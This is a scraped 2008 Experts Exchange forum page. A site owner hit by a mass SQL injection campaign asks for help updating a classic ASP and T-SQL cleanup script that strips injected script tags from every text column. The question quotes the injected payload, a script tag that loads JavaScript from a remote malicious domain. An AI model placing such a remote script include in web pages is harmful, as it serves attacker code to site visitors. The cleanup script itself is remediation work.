December 4, 2008 10:01pm pst

1. angelIII 1,224,715
2. capricorn1 482,410
3. chapmandew 465,672
4. ee_rlee 460,453
5. mark_wills 449,319
6. mwvisa1 404,186
7. matthews... 339,636
8. BrandonG... 261,842
9. sdstuber 217,371
10. aneeshatti... 200,896
11. peter57r 178,085
12. Thomasian 172,890
13. jinesh_ka... 168,681
14. jimhorn 155,925
15. DatabaseMX 153,254
16. boag2000 137,822
17. DanielWilson 130,548
18. dqmq 127,784
19. GRayL 119,043
20. harfang 116,222
21. hielo 113,250
22. frankytee 113,116
23. LSMCons... 112,514
24. jamesgu 112,022
25. momi_sa... 100,979

1. angelIII 1,970,048
2. capricorn1 816,522
3. matthews... 629,547
4. chapmandew 465,672
5. ee_rlee 460,453
6. mark_wills 449,319
7. aneeshatti... 411,603
8. mwvisa1 404,186
9. peter57r 278,114
10. DatabaseMX 262,326
11. BrandonG... 261,842
12. dqmq 251,049
13. sdstuber 249,869
14. jimhorn 236,445
15. harfang 227,002
16. GRayL 224,874
17. imitchie 215,974
18. DanielWilson 189,923
19. jinesh_ka... 184,970
20. Thomasian 172,890
21. frankytee 163,364
22. LSMCons... 153,729
23. Lowfatsp... 152,817
24. ScottPletc... 152,435
25. mbizup 151,947

08.11.2008 at 02:17PM PDT, ID: 23639452

	[x] Attachment Details

[x]

The Solution Rating System

With so many solutions, how can you tell which solutions are most likely to help you and which ones are not? To provide you with a tool to use, we rate our solutions based on various elements that most accurately determine if a solution is a quality solution. To explain what factors affect the solution rating, here are the elements we take into consideration when formulating our solution rating.

The Grade of the Solution
The Zone Rank of the Expert Providing the Solution
The Number of Author and Expert Comments
The Number of Experts Contributing
The Feedback of the Community

Your Input Matters
Because of the way the system is set up, the most important variable in this equation is you. As a member of Experts Exchange, you are able to cast your vote on the quality of the solutions in regard to how complete, accurate, helpful and easy to understand each solution is. When you provide your feedback, each rating is adjusted accordingly. So, if you see a solution that has a poor rating that you think is a good solution, let us know by rating it. As you do, the rating will be adjusted and will become more accurate for other members of our site.

If you have any suggestions that you would like to make for our rating system, please ask a question in the Suggestions Zone of Community Support.

Thank you!

7.8

SQL Injection Cleanup Script Needed

Asked by RSPANGLER_AVTIA in SQL Query Syntax, MS SQL Server, Active Server Pages (ASP)

Tags: SQL - ASP

Hello!

About my environment:
I have a hosted web database that I don't have access to other than with classic ASP and an ODBC connection that thankfully gives me both read and write access to the database.

My Question:
I've been hit by the same SQL injection that everyone else has lately, and have mostly plugged up the holes in my site.... for the better part of a month, I haven't been hit at all... until this weekend.

The last time I got hit I was able to run the code below against my database via a classic ASP web page - it was the only way I could clean up the data. This time, the code isn't working on the new strain of injection that I got hit with. The text that got inserted is:
<script src="http://sdo.1000mg.cn/csrss/w.js"></script>

I'm looking for either a new SQL script that I can execute in my ASP page (which would probably be very helpful for a lot of people), or a fix to the current one that I have attached. I don't know SQL well enough to mess around with it successfully, but I think that this is probably what needs to be updated:

sql = sql & "where ['+@C+'] like ''%<script%</script>'''"

Thanks!!!

(By the way, the attached code DOES work on almost all other versions of the .js injections - several weeks ago before I found almost all of my holes, I executed this regularly using a PHP cron job to keep my site clean.)

Start Free Trial

         
           
             1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:

           
           
             sql = sql & "DECLARE @T varchar(255), @C varchar(255); "
sql = sql & "DECLARE Table_Cursor CURSOR FOR "
sql = sql & "SELECT a.name, b.name "
sql = sql & "FROM sysobjects a, syscolumns b " 
sql = sql & "WHERE a.id = b.id AND a.xtype = 'u' AND "
sql = sql & "(b.xtype = 99 OR "
sql = sql & "b.xtype = 35 OR "
sql = sql & "b.xtype = 231 OR "
sql = sql & "b.xtype = 167); "
sql = sql & "OPEN Table_Cursor; "
sql = sql & "FETCH NEXT FROM Table_Cursor INTO @T, @C; "
sql = sql & "WHILE (@@FETCH_STATUS = 0) BEGIN "
sql = sql & "EXEC("
sql = sql & "'update ['+@T+'] set ['+@C+'] = left("
sql = sql & "convert(varchar(8000), ['+@C+']), "
sql = sql & "len(convert(varchar(8000), ['+@C+'])) - 6 - "
sql = sql & "patindex(''%tpircs<%'', "
sql = sql & "reverse(convert(varchar(8000), ['+@C+'])))"
sql = sql & ")"
sql = sql & "where ['+@C+'] like ''%<script%</script>'''"
sql = sql & "); "
sql = sql & "FETCH NEXT FROM Table_Cursor INTO @T, @C; "
sql = sql & "END; "
sql = sql & "CLOSE Table_Cursor; "
sql = sql & "DEALLOCATE Table_Cursor; "

           
         

Keywords: SQL Injection Cleanup Script Needed

	Title
1	SQL injection
2	sql injection, quotes and cfqueryparam
3	SQL Injection Attack
4	sql script injection
5	sql injection
6	Email/SQL Injection prevention

Loading Advertisement...

20080716-EE-VQP-32 / EE_QW_2_20070628

SQL Injection Cleanup Script Needed

Asked by RSPANGLER_AVTIA in SQL Query Syntax, MS SQL Server, Active Server Pages (ASP)

Tags: SQL - ASP

About this solution